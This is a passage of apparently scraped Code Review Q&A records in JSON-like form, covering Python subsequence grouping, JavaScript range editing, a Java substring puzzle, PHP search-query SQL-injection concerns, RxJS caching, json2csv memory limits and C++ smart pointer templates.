the furthest ends, but that is only marginally useful</p>\n\n<h1>main:</h1>\n\n<pre><code>def wordBreak(s: \"str\", wordDict: \"List[str]\") -> \"bool\":\n if not validate_all_chars(s, wordDict):\n return False\n\n spans = build_span_graph(s, wordDict)\n\n return find_path(s, wordDict)\n</code></pre>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-10T17:32:02.107",
"Id": "412414",
"Score": "0",
"body": "so nice to know functools.lru_cache"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-04-17T17:50:57.973",
"Id": "472201",
"Score": "0",
"body": "Actually `find_path` reports a bug on the return statement: `TypeError: 'in ' requires string as left operand, not list` . And I can see why it wouldn't work, as `length` is the `wordDict` the first time it's called."
}
],
"meta_data": {
"CommentCount": "2",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-05T13:04:22.133",
"Id": "212917",
"ParentId": "212847",
"Score": "1"
}
}
] | {
"AcceptedAnswerId": "212917",
"CommentCount": "7",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-04T14:52:27.593",
"Id": "212847",
"Score": "3",
"Tags": [
"python",
"algorithm",
"python-3.x",
"programming-challenge",
"time-limit-exceeded"
],
"Title": "Word break problem with recursion and memorization"
} | 212847 |
<p>I've written a function to split a list into several lists with consecutive integers, e.g.:</p>
<pre><code>extract_subsequences([1,2,3,7,8,9])
</code></pre>
<blockquote>
<p><code>[[1, 2, 3], [7, 8, 9]]</code></p>
</blockquote>
<pre><code>extract_subsequences([1,2,3])
</code></pre>
<blockquote>
<p><code>[[1, 2, 3]]</code></p>
</blockquote>
<pre><code>extract_subsequences([1,2,3, 10])
</code></pre>
<blockquote>
<p><code>[[1, 2, 3], [10]]</code></p>
</blockquote>
<pre><code>extract_subsequences([1,2, 4,5, 8,9])
</code></pre>
<blockquote>
<p><code>[[1, 2], [4, 5], [8, 9]]</code></p>
</blockquote>
<p>This is the code that I came up with:</p>
<pre><code>import numpy as np
def extract_subsequences(seq):
def split_sequence(seq):
for i in np.arange(1, len(seq)):
if seq[i] != seq[i - 1] + 1:
break
if i < len(seq) - 1:
return seq[:i], seq[i:]
else:
if seq[-1] == seq[-2] + 1:
return seq, []
else:
return seq[:-1], [seq[-1]]
res = []
last = seq
while len(last) > 1:
first, last = split_sequence(last)
res.append(first)
if len(last) == 1:
res.append(last)
return res
</code></pre>
<p>Can someone help me improve this code? It's kind of difficult to read with all the indices and special cases, and for the same reasons it was also quite difficult to write. I would very much appreciate a better way of thinking about this problem.</p>
| [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-04T15:25:51.033",
"Id": "411660",
"Score": "1",
"body": "Are all sequences sorted?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-04T15:34:41.250",
"Id": "411663",
"Score": "1",
"body": "@Ludisposed Yes"
}
] | [
{
"body": "<p>Using <code>yield</code> is often simpler than building up a list to return. Here it would reduce</p>\n\n<blockquote>\n<pre><code> res = []\n last = seq\n while len(last) > 1:\n first, last = split_sequence(last)\n res.append(first)\n\n if len(last) == 1:\n res.append(last)\n\n return res\n</code></pre>\n</blockquote>\n\n<p>to</p>\n\n<pre><code>last = seq\nwhile len(last) > 1:\n first, last = split_sequence(last)\n yield first\n\nif len(last) == 1:\n yield last\n</code></pre>\n\n<p>at which point you could inline <code>split_sequence</code>.</p>\n\n<hr>\n\n<p><code>split_sequence</code> seems unnecessarily complicated to me. The entire <code>extract_subsequences</code> could be written with only one special case as</p>\n\n<pre><code>current = []\nfor val in seq:\n if current != [] and val != current[-1] + 1:\n yield current\n current = []\n current += [val]\n\n# Test is only necessary because seq might be empty\nif current != []:\n yield current\n</code></pre>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-04T15:38:44.233",
"Id": "212853",
"ParentId": "212848",
"Score": "7"
}
},
{
"body": "<p>@Peter Taylor has a good idea, but there is more to be improved</p>\n<ul>\n<li><p>You should add some tests</p>\n</li>\n<li><p>Python is often described as Batteries included</p>\n<p>This is a perfect example to use <a href=\"https://docs.python.org/3/library/itertools.html#itertools.groupby\" rel=\"noreferrer\"><code>itertools.groupby()</code></a></p>\n</li>\n</ul>\n<hr />\n<pre><code>from itertools import groupby\nimport doctest\n\ndef extract_seq(seq):\n """\n Splits sequence into consecutive lists\n \n args:\n seq (list): A sorted sequence\n\n >>> extract_seq([1,2, 4,5, 8,9])\n [[1, 2], [4, 5], [8, 9]]\n\n >>> extract_seq([1,2,3])\n [[1, 2, 3]]\n\n >>> extract_seq([1,2,3,7,8,9])\n [[1, 2, 3], [7, 8, 9]]\n\n >>> extract_seq([1,2,3,10])\n [[1, 2, 3], [10]]\n """\n return [\n [x for _, x in g]\n for k, g in groupby(\n enumerate(seq), \n lambda i_x : i_x[0] - i_x[1]\n )\n ]\n\nif __name__ == "__main__":\n doctest.testmod()\n</code></pre>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-04T15:52:52.127",
"Id": "212855",
"ParentId": "212848",
"Score": "10"
}
},
{
"body": "<p>One more thing that no one has explicitly pointed out yet, because it is made irrelevant: there's no need to <code>import numpy</code> just to iterate over <code>numpy.arange</code>. Just use <code>range</code> instead: <code>for i in range(1, len(seq)):</code>. Or even better, use the <a href=\"https://docs.python.org/3/library/itertools.html\" rel=\"noreferrer\">itertools recipe</a> <code>pairwise</code> (available with <a href=\"https://pypi.org/project/more-itertools/\" rel=\"noreferrer\">more-itertools</a>):</p>\n\n<pre class=\"lang-py prettyprint-override\"><code>for a, b in pairwise(seq):\n if b != a + 1:\n break\n</code></pre>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-05T09:11:56.777",
"Id": "411751",
"Score": "3",
"body": "Thank you for pointing me to more-itertools! It has a function called [consecutive_groups](https://more-itertools.readthedocs.io/en/stable/api.html#more_itertools.consecutive_groups) which does that which is needed."
}
],
"meta_data": {
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-04T22:54:14.433",
"Id": "212883",
"ParentId": "212848",
"Score": "5"
}
}
] | {
"AcceptedAnswerId": "212853",
"CommentCount": "2",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-04T14:56:19.247",
"Id": "212848",
"Score": "5",
"Tags": [
"python",
"python-3.x",
"programming-challenge",
"interval"
],
"Title": "Collect subsequences of consecutive integers"
} | 212848 |
<p>I have an array of ranges as you can see in the snippet. when user select certain number from dropdown I want to remove that number from the range and return new ranges,</p>
<p>Everything is working as per my expectation but I think, I have over coded and used too many if else statements in my code. I was wondering if there is any better way to do it?</p>
<p>If yes please let me know, if Javascript has any methods to make this simple and reduce the amount of code.</p>
<p><div class="snippet" data-lang="js" data-hide="false" data-console="true" data-babel="false">
<div class="snippet-code">
<pre class="snippet-code-js lang-js prettyprint-override"><code>var ranges = [
{start: 1, end: 100},
{start: 150, end: 300},
{start: 400, end: 500},
{start: 550, end: 650},
];
function onSelect(event) {
let newRange = [];
let HMID = parseInt(document.getElementById("mySelect").value);
for (let range of ranges) {
if ((HMID > range.start) && (HMID < range.end)) {
newRange.push({start: range.start, end: (HMID - 1)});
newRange.push({start: (HMID + 1), end: range.end});
} else if (HMID === range.start) {
newRange.push({start: (range.start + 1), end: range.end});
} else if (HMID === range.end) {
newRange.push({start: range.start, end: (range.end - 1)});
} else {
newRange.push(range);
}
}
console.log(JSON.stringify(newRange));
}
function onSelectAdd() {
let newRange = [];
let HMID = parseInt(document.getElementById("mySelectAdd").value);
for (let i = 0; i < (ranges.length); i++) {
let start, end;
if (HMID == (ranges[i].start -1)) {
start = HMID;
end = ranges[i].end;
newRange.push({start: start, end: end});
} else if (HMID == (ranges[i].end + 1)) {
start = ranges[i].start;
if (ranges.length === (i + 1)) {
end = HMID;
} else {
if (HMID == (ranges[i+1].start - 1)) {
end = ranges[i+1].end;
i++;
} else {
end = ranges[i].end;
}
}
newRange.push({start: start, end: end});
} else {
newRange.push({start: ranges[i].start, end: ranges[i].end});
}
}
console.log(JSON.stringify(newRange));
}</code></pre>
<pre class="snippet-code-html lang-html prettyprint-override"><code><p>Remove item</p>
<select id="mySelect" onchange="onSelect()">
<option value="1">1</option>
<option value="150">150</option>
<option value="450">450</option>
<option value="650">650</option>
</select>
<p>Add removed item</p>
<select id="mySelectAdd" onchange="onSelectAdd()">
<option value="1">1</option>
<option value="150">150</option>
<option value="450">450</option>
<option value="650">650</option>
</select></code></pre>
</div>
</div>
</p>
<p><strong>EDIT</strong>:
<strong>I am looking only for logical and functional code review. Please don't comment on syntax and variable names. Thanks.</strong></p>
| [] | [
{
"body": "<p>I'll go over some of the basics</p>\n\n<pre><code>let HMID = parseInt(document.getElementById(\"mySelect\").value);\n</code></pre>\n\n<p>what should <code>HMID</code> be? Aside from being a number, I don't know what it is. And the only reason I know it's a number is because it's the value of <code>parseInt</code>. Looking at how it's used doesn't shed any light. You should name the variable something more descriptive.</p>\n\n<p>Speaking of naming things more descriprive - <code>mySelect</code> is a really bad name, too. Part of why I don't know what <code>HMID</code> is, is because it's the value of something with the non-descriptive ID of <code>mySelect</code>. The <code>myX</code> naming convention is fine when prototyping but you really need to go with descriptive names upon finishing your code.</p>\n\n<p>Echoing the same \"descriptive names needed\" sentiment for <code>onSelect</code> and <code>onSelectAdd</code>. What do they <em>do</em>? One is executed on select which...doesn't tell me much. The other...adds stuff on select? It's not clear. Somewhat better names would be </p>\n\n<ul>\n<li><code>onSelect</code> -> <code>removeItemFromRange</code></li>\n<li><code>onSelectAdd</code> -> <code>addRemovedToRange</code></li>\n</ul>\n\n<p>I'm not great at naming things but I'd err on the side of verbose but descriptive rather than short but unclear. If you can have something shorter, feel free to use that. As it stands, the names aren't good.</p>\n\n<p>You are better off adding the event listeners via <code>element.addEventListener</code> rather than in the HTML. That way, you keep the HTML clear of logic - it's all contained in your JavaScript. As an added benefit, you can attach more event listeners that do other stuff without changing these functions. Here is an example</p>\n\n<p><div class=\"snippet\" data-lang=\"js\" data-hide=\"false\" data-console=\"true\" data-babel=\"false\">\r\n<div class=\"snippet-code\">\r\n<pre class=\"snippet-code-js lang-js prettyprint-override\"><code>let button = document.getElementById(\"buttonWithMultipleClickListenersExample\"); //told you I'm not good at naming things...\n\nbutton.addEventListener(\"click\", sayFoo);\nbutton.addEventListener(\"click\", sayBar);\n\nfunction sayFoo() {\n console.log(\"foo\");\n}\n\nfunction sayBar() {\n console.log(\"bar\");\n}</code></pre>\r\n<pre class=\"snippet-code-html lang-html prettyprint-override\"><code><button id=\"buttonWithMultipleClickListenersExample\">Click Me</button></code></pre>\r\n</div>\r\n</div>\r\n</p>\n\n<p>Two different event listeners are attached for the <code>click</code> event and they can do two completely separate things. If <code>sayBar()</code> is altered or even a <code>sayBaz()</code> is added, we don't need to change anything else, whereas if we define the click handler in the HTML, we have to change <em>that</em> function with every alteration needed.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-05T05:18:47.570",
"Id": "411729",
"Score": "0",
"body": "Hello, Thanks for the input, but this is just a representational code and most your review comments are in place in actual code. I was looking for logical and functional review of my code."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-05T05:41:25.150",
"Id": "411731",
"Score": "1",
"body": "It's hard to say *if* it is working, though. If it's a representation then maybe in the real code you don't just log the result. But I have no idea if in the real code you have the same problem as here where you never change `ranges`, so you aren't really ever *merging* ranges. And the unclear names are a real hindrance with reviewing the code. I opted to comment on naming because I have trouble following what's happening."
}
],
"meta_data": {
"CommentCount": "2",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-04T17:29:32.163",
"Id": "212864",
"ParentId": "212849",
"Score": "2"
}
}
] | {
"AcceptedAnswerId": null,
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-04T15:14:52.410",
"Id": "212849",
"Score": "3",
"Tags": [
"javascript"
],
"Title": "splitting and merging Ranges array in javascript"
} | 212849 |
<p>An Array of N words is given. Each word consists of small letters ('a'-'z'). Our goal is to concatenate the words in such a way as to obtain a single word with longest possible substring composed of one particular letter. Find the length of such substring.</p>
<p>Example 1: <code>words = ["aaba", "aaaa", "bbab"]</code> -> <code>maxSubstring=6</code> of letter <code>a</code>, from the concatenated word = <code>words[1] + words[0] + words[2] = "aaaaaababbab"</code></p>
<p>Example 2: <code>words = ["xxbxx", "xbx", "x"]</code> -> <code>maxSubstring=4</code> of letter <code>x</code>, from the concatenated word = <code>words[0] + words[2] + words[1] = "xxbxxxxbx"</code></p>
<p>My current implementation uses brute force:
find all combinations of words, and calculate the max sub-string.
Complexity is <span class="math-container">\$O(2^n)\$</span>.</p>
<p>I'm looking for better ideas to reduce the time complexity.</p>
<pre><code>class candiateCode{
static Integer max = Integer.MIN_VALUE;
public static void main(String[] args) {
Scanner sc = new Scanner(System.in);
int N = sc.nextInt();
sc.nextLine();
String[] arr = new String[N];
for (int i = 0; i < N; i++) {
arr[i] = sc.nextLine();
}
findCombi(arr, N, "", new HashMap<Integer, Boolean>());
System.out.println(max);
}
private static void findCombi(String[] arr, int n, String prefix, Map<Integer, Boolean> map) {
if (n == 0) {
calculateMaxChar(prefix);
}
for (int i = 0; i < arr.length; i++) {
if (!map.containsKey(i)) {
Map<Integer, Boolean> map2 = new HashMap<>(map);
map2.put(i, true);
findCombi(arr, n - 1, prefix.concat(arr[i]), map2);
}
}
}
static void calculateMaxChar(String str) {
Integer max1 = 1;
Integer curr = 1;
char ch = str.charAt(0);
for (int i = 1; i < str.length(); i++) {
if (str.charAt(i) == ch) {
curr++;
} else {
ch = str.charAt(i);
curr = 1;
}
if (max1 < curr)
max1 = curr;
}
if (max1 > max)
max = max1;
}
}
</code></pre>
| [] | [
{
"body": "<p>Here is a new logic I came up with \nFor each letter, you need to know:</p>\n\n<p>the total length of words consisting entirely of that letter;\nthe words with the longest and second-longest prefix of that letter; and\nthe words with the longest and second-longest suffix of that letter\nSince each word goes in at most 2 of these groups, determined by the letters it starts and ends with, you can figure this all out in O(N) time\nWill post the working snippet shortly</p>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-05T11:28:24.193",
"Id": "212914",
"ParentId": "212852",
"Score": "0"
}
},
{
"body": "<h3>Think of encapsulation and responsibilities</h3>\n\n<p>The <code>main</code> method parses the input and uses this piece of code to compute and print the answer:</p>\n\n<blockquote>\n<pre><code>findCombi(arr, N, \"\", new HashMap<Integer, Boolean>());\n\nSystem.out.println(max);\n</code></pre>\n</blockquote>\n\n<p>This is ugly in many ways:</p>\n\n<ul>\n<li><p>Where does the value of <code>max</code> come from? It's a global variable, its value gets set as a side effect of the call to <code>findCombi</code>. Try to organize code in a way to avoid side effects.</p></li>\n<li><p>What are all those parameters passed to <code>findCombi</code>? They are low-level implementation details of <code>findCombi</code>. They should not be exposed outside that function. The <code>main</code> method shouldn't have to know how the solution is computed. It has the inputs (the array of words), it should pass just that to a function, and get an <code>int</code> back as the answer.</p></li>\n<li><p>The parameter <code>N</code> is redundant, thanks to the <code>.length</code> field of arrays in Java.</p></li>\n</ul>\n\n<p>This is what the snippet should have looked like:</p>\n\n<pre><code>int solution = findLongestSubstringCombination(arr);\n</code></pre>\n\n<p>There are no unnecessary parameters, and no side effects needed.</p>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-10T11:14:25.663",
"Id": "213178",
"ParentId": "212852",
"Score": "1"
}
}
] | {
"AcceptedAnswerId": null,
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-04T15:33:52.787",
"Id": "212852",
"Score": "3",
"Tags": [
"java",
"algorithm",
"strings",
"programming-challenge",
"recursion"
],
"Title": "Find the longest sub string of a word after concatenation of given words array"
} | 212852 |
<p>There have been multiple discussions on caching <code>http-requests</code> with RXJS. In this question/proposal I want to propose a custom rxjs-operator (non-pure) to provide caching:</p>
<pre><code>const cacheHttp = (cacheKey: string, cacheStorage: any) => (source: Observable<any>) => {
if (!cacheStorage[cacheKey]) {
cacheStorage[cacheKey] = source.pipe(
shareReplay(1)
);
}
return cacheStorage[cacheKey];
};
</code></pre>
<p>This operator is not pure, as it modifies one of its arguments (<code>cacheStorage</code>).</p>
<p>This operator could be used like this:</p>
<pre><code>public cachedItems = {};
public getDataForItem$(itemId: string) {
return this.http.get('/item/' + itemId).pipe(
cacheHttp(itemId, this.cachedItems),
shareReplay(1)
);
}
</code></pre>
<p>The client could then call this multiple times without causing superfluous <code>http-requests</code>:</p>
<pre><code>// the following two subscriptions cause http-requests
this.itemService.getDataForItem('firstItem').subscribe((val) => console.log(val));
this.itemService.getDataForItem('secondItem').subscribe((val) => console.log(val));
// all further subscriptions would not cause any additional http-requests
this.itemService.getDataForItem('firstItem').subscribe((val) => console.log(val));
this.itemService.getDataForItem('secondItem').subscribe((val) => console.log(val));
this.itemService.getDataForItem('firstItem').subscribe((val) => console.log(val));
this.itemService.getDataForItem('secondItem').subscribe((val) => console.log(val));
// this subscription would again cause an http-request:
this.itemService.getDataForItem('thirdItem').subscribe((val) => console.log(val));
</code></pre>
<p>Is this an acceptable approach to solving the "cache-for-different-requests-problem"? Is there possibly a memory-leak or are there any leaked subscriptions? Is it ok to have side-effects on a provided argument?</p>
| [] | [] | {
"AcceptedAnswerId": null,
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-04T15:51:10.353",
"Id": "212854",
"Score": "3",
"Tags": [
"javascript",
"cache",
"angular-2+",
"rxjs"
],
"Title": "Caching different http-requests"
} | 212854 |
<p>Want to show you part of code that I wrote to process search request. User commit search by articles (codes) of products. The goal is to allow user write his search request to textarea element in any possible way: in a row, in a column or separated by any separator (comma, space, semicolon etc.).</p>
<pre><code><?php
include("db.php"); // Including connection to MySQL
if(!empty($_POST['codes'])){ // Checking user's input from textarea not empty
$codes = $_POST['codes']; // Moving user's input to variable
preg_match_all("/\d{6}/", $codes, $codes_array); // Taking all elements that matches regular expression and adding them to the array
$codes_array = array_unique($codes_array[0]); // Removing duplicates from the array
if(!empty($codes_array)){ // Checking array not empty
$codes_list = ""; // Creating new variable
foreach ($codes_array as $key => $value) { // Processing our array
$codes_list .= $value . "|"; // Adding values and separator to previously created variable to use it in MySQL query
}
$codes_list = rtrim($codes_list, "|"); // Removing last separator from string
$codes_add = " AND `code` REGEXP '^({$codes_list})$'"; // Creating new variable with part of MySQL query and our elements from the array
} else {
$codes_add = ""; // Creating empty variable if our array was empty
}
}
$query = "SELECT * FROM `table` WHERE `status` = '0'" . $codes_add; // Generating MySQL query string
$result = mysqli_query($link, $query); // Making a request to MySQL
?>
</code></pre>
<p>My friend said that it contains vulnerabilities for SQL-injection because I do not filter user's input. But my logic based on a statement that user's input filters at the line with preg_match_all. I'm sure that nothing but elements that consist of 6 digits will be included to the array.</p>
<p>Anyway I want that someone who have an experience with PHP and vulnerabilities took a look at this code and share his opinion about potential risks of using it. Thank You.</p>
| [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-04T16:06:03.823",
"Id": "411670",
"Score": "0",
"body": "I won't comment on the security of this, but you are really over-commenting your code. Not every line needs a comment, code should be self-explanatory, for example `if(!empty($codes_array)){ // Checking array not empty` it is pretty obvious reading the `if` statement that it checks for an empty array, what is the comment telling the reader exactly? Comments should be there for extraordinary explanation, not to map out your thought process, it adds a lot of noise to your code."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-04T16:33:30.557",
"Id": "411674",
"Score": "3",
"body": "[\"Code Tells You How, Comments Tell You Why\"](https://blog.codinghorror.com/code-tells-you-how-comments-tell-you-why/)"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-10T09:46:19.217",
"Id": "412366",
"Score": "0",
"body": "A note about `empty()`: The input of `\"0\"` is ignored (assumed as empty). For string it is better to use `isset($_POST['codes']) && strlen($_POST['codes'])` to allow the input of `\"0\"`."
}
] | [
{
"body": "<p>Being as big an advocate of prepared statements as I am, I cannot find any way for the SQL injection here, so your code should be safe.</p>\n\n<p>I could only do the usual routine of making this code less bloated: </p>\n\n<pre><code>$query = \"SELECT * FROM `table` WHERE `status` = '0' \";\n\nif(!empty($_POST['codes'])) {\n preg_match_all(\"/\\d{6}/\", $_POST['codes'], $codes_array);\n $codes_array = array_unique($codes_array[0]);\n $codes_list = implode(\",\", $codes_array);\n $codes_add = $codes_list ? \" AND `code` IN ($codes_list)\" : \"\";\n $query .= $codes_add;\n}\n$result = mysqli_query($link, $query);\n</code></pre>\n\n<p>basically, PHP already has a function to glue array values together called implode() and, based on my understanding of the SQL, I decided to change REGEXP for IN. If I am wrong, then you could simply change it back to regexp. </p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-03-20T10:18:29.427",
"Id": "417625",
"Score": "0",
"body": "You might like to position the `preg_match_all()` call up in the conditional, just in case the user input only has invalid characters."
}
],
"meta_data": {
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-04T16:33:53.977",
"Id": "212858",
"ParentId": "212856",
"Score": "1"
}
}
] | {
"AcceptedAnswerId": null,
"CommentCount": "3",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-04T16:01:27.170",
"Id": "212856",
"Score": "1",
"Tags": [
"php",
"sql",
"search",
"sql-injection"
],
"Title": "PHP code for search page"
} | 212856 |
<p>I run this code on my Heroku Node.js server in order to get CSV for few hundred rows, but it fails with <code>R14 - Memory Quota Exceeded</code>.
It worked fine when there were less rows in DB, even without writing to file, I was able to write CSV directly to HTTP response.
What can I do to solve this?</p>
<pre><code>var mongoose = require("mongoose");
const fs = require('fs');
const path = require('path')
const Json2csvParser = require("json2csv").Parser;
var Follow = require("../models/follow");
const fields = ["brand", "handle", "title", "followDateTime", "posts", "followers", "following", "description", "link", "isPrivate"];
module.exports = function(app) {
app.get("/csv", (req, res) => {
Follow.find({}).exec(function(err, follows) {
if (err) {
res.status(500).send(err);
} else {
let csv;
try {
const json2csvParser = new Json2csvParser({ fields });
csv = json2csvParser.parse(follows);
} catch (err) {
return res.status(500).json({ err });
}
const dateTime = Date.now();
const filePath = path.join(__dirname, "..", "public", "exports", "csv-" + dateTime + ".csv");
fs.writeFile(filePath, csv, function (err) {
if (err) {
return res.json(err).status(500);
}
else {
setTimeout(function () {
fs.unlinkSync(filePath); // delete this file after 30 seconds
}, 30000)
return res.json("/exports/csv-" + dateTime + ".csv");
}
});
}
});
});
};
<span class="math-container">```</span>
</code></pre>
| [] | [
{
"body": "<p>Before we dive into code, I'd like to ask: Does this CSV really need to be generated on-the-fly/on-demand? If the answer is <em>no</em>, you can probably run a cron job using <a href=\"https://docs.mongodb.com/manual/reference/program/mongoexport/\" rel=\"nofollow noreferrer\">mongoexport</a>. This way, you avoid Node altogether.</p>\n\n<p>Libraries aren't immune to memory limits. They create objects too! In this case, it starts when you loaded up a lot of <code>Follow</code> entries into <code>follows</code>. This is compounded when you converted all of that data into CSV. Under the hood, you 1) loaded a lot of data into an huge array of objects and 2) you converted that huge array of objects into a huge string.</p>\n\n<p>Now luckily, <a href=\"https://github.com/zeMirco/json2csv#json2csv-transform-streaming-api\" rel=\"nofollow noreferrer\"><code>json2csv</code> has a streaming API</a>. What this means is that, instead of processing all of your results in one go in memory, you have the option to build that CSV by chunk. Since we're dealing with an array of objects instead of strings, buffers and arrays of raw data, you should look at the \"object mode\".</p>\n\n<p>So what you do is set up a pipeline - a bunch of functions connected together and called one after the other with the output of the previous being the input of the next. Data is streamed into this pipeline, transforming on every transform function it passes through until it reaches the end.</p>\n\n<p>In your case, it would look <em>something like</em> this:</p>\n\n<pre><code>const { createWriteStream } = require('fs')\nconst { Readable } = require('stream')\nconst { Transform } = require('json2csv')\n\n// ...somewhere in your controller code...\n\n// With streams, everything starts with and ends with a stream. This is the start.\nconst input = new Readable({ objectMode: true })\ninput._read = () => {} // Not sure what this is for, really.\n\n// We set up the transformer, the thing that converts your object into CSV rows.\nconst json2csv = new Transform ({ fields }, { objectMode: true })\n\n// Create a stream to the file. This is the end of the line.\nconst output = createWriteStream('./output')\n\n// You can optionally listen to the output when all the data is flushed\noutput.on('finish', () => { /* all done */ })\n\n// We connect the dots. So this reads like:\n// 1. Read data into input.\n// 2. Input gets fed into json2csv.\n// 3. The output of json2csv is fed into output (which is our file).\nconst stream = input.pipe(json2csv).pipe(output)\n\n// Start pumping data into the stream. You could use setInterval if you wanted.\nfollows.forEach(o => input.push(obj))\n\n// Close the input.\ninput.push(null) \n</code></pre>\n\n<p>Now I'm not too familiar with Mongoose. But if it has an API that exposes your results as a stream, you can skip object mode and pipe that stream to <code>json2csv</code> instead. This way, the entire thing uses streams and at no point would all data be stored in memory. They get loaded, processed and flushed a few pieces at a time.</p>\n\n<pre><code>const stream = streamFromMongoose.pipe(json2csv).pipe(output)\n</code></pre>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-05T03:15:41.747",
"Id": "212890",
"ParentId": "212859",
"Score": "1"
}
}
] | {
"AcceptedAnswerId": null,
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-04T16:39:49.947",
"Id": "212859",
"Score": "3",
"Tags": [
"javascript",
"node.js",
"csv",
"memory-management",
"memory-optimization"
],
"Title": "json2CSV fails because of lack of RAM memory"
} | 212859 |
<p>For educational purposes I implemented standard library smart pointers like class templates. They are definitely not a full replacement for the library classes but I'd like to get some comments on the way I use templates and how I can do better. I'd especially like to get criticism about the code clarity and readability. Performance is not a big concern here but comments regarding poor design choices regarding it are welcome.<br>
I have 3 classes: </p>
<ol>
<li><code>Smart_pointer_base</code> is an abstract base class for the other two.</li>
<li><code>Shrd_ptr</code> is like <code>std::shared_ptr</code></li>
<li><code>Unq_ptr</code> is like <code>std::unique_ptr</code></li>
</ol>
<p>Those are in separate header files, and each has a <code>.tpp</code> file for definitions:</p>
<h1>Smart_pointer_base.h</h1>
<pre><code>#ifndef BLOB_SMART_POINTER_BASE_H
#define BLOB_SMART_POINTER_BASE_H
// Superclass for Shrd_ptr and Unq_ptr
template <typename T>
class Smart_pointer_base {
public:
explicit Smart_pointer_base(T*managed_): managed(managed_) { }
Smart_pointer_base(): managed(nullptr) { }
virtual T&operator*();
virtual const T&operator*() const { return *managed; }
virtual T*operator->();
virtual const T*operator->() const { return managed; }
virtual ~Smart_pointer_base() = default;
protected:
/// `destruct` replaces the destructor
/// derived classes may call it to
/// deleted the `managed`
inline virtual void destruct(){ delete managed; }
// the pointer to the (hopefully) dynamically
// allocated memory
T* managed;
private:
};
// Definitions
#include "Smart_pointer_base.tpp"
#endif //BLOB_SMART_POINTER_BASE_H
</code></pre>
<h1>Smart_pointer_base.tpp</h1>
<pre><code>#ifndef BLOB_SMART_POINTER_BASE_TPP
#define BLOB_SMART_POINTER_BASE_TPP
// Use the const version
template<typename T>
T &Smart_pointer_base<T>::operator*()
{
const auto& res = const_cast<const Smart_pointer_base*>(this)->operator*();
return const_cast<T&>(res);
}
// Use the const version
template<typename T>
T *Smart_pointer_base<T>::operator->()
{
const auto* res = const_cast<const Smart_pointer_base*>(this)->operator->();
return const_cast<T*>(res);
}
#endif // !BLOB_SMART_POINTER_BASE_TPP
</code></pre>
<h1>Shrd_ptr.h</h1>
<pre><code>#ifndef BLOB_SHRD_PTR_H
#define BLOB_SHRD_PTR_H
#include <cstddef>
#include "Smart_pointer_base.h"
#include <functional>
#include <utility>
template <typename Y> const Y safe_increment(Y*);
template <typename Y> const Y safe_decrement(Y*);
template <typename T>
class Shrd_ptr: public Smart_pointer_base<T> {
typedef std::size_t size_type;
typedef std::function<void(const T*)> destructor_type;
public:
explicit Shrd_ptr(T* managed_, destructor_type destructor_ = nullptr)
: Smart_pointer_base<T>(managed_)
, user_count(new size_type(1))
, destructor(std::move(destructor_))
{ }
Shrd_ptr();
Shrd_ptr(const Shrd_ptr&);
Shrd_ptr&operator=(const Shrd_ptr&);
~Shrd_ptr() override;
void reset() noexcept { Shrd_ptr().swap(*this);}
template< class Y >
void reset( Y* ptr ) { Shrd_ptr<T>(ptr).swap(*this); }
template< class Y, class Deleter>
void reset( Y* ptr, Deleter d) { Shrd_ptr<T>(ptr, d).swap(*this); }
void swap(Shrd_ptr& r ) noexcept;
private:
void destruct() override;
void copy(const Shrd_ptr&);
destructor_type destructor;
mutable size_type* user_count;
// friends
friend const T safe_increment<T>(T*);
friend const T safe_decrement<T>(T*);
};
// Definitions
#include "Shrd_ptr.tpp"
#endif //BLOB_SHRD_PTR_H
</code></pre>
<h1>Shrd_ptr.tpp</h1>
<pre><code>#ifndef BLOB_SHRD_PTR_TPP
#define BLOB_SHRD_PTR_TPP
template <typename T> class Smart_pointer_base;
template <typename T> class Shrd_ptr;
template<typename T>
Shrd_ptr<T>::~Shrd_ptr()
{
destruct();
}
template<typename T>
Shrd_ptr<T>::Shrd_ptr(const Shrd_ptr &rhs)
: Smart_pointer_base<T>(rhs.managed)
, user_count(rhs.user_count)
, destructor(rhs.destructor)
{
// increase user_count by one
// to denote added user
safe_increment(user_count);
}
template<typename T>
Shrd_ptr<T> &Shrd_ptr<T>::operator=(const Shrd_ptr &rhs)
{
// Check equality by comparing managed pointers
if (this->managed != rhs.managed) {
destruct();
copy(rhs);
}
return *this;
}
template<typename T>
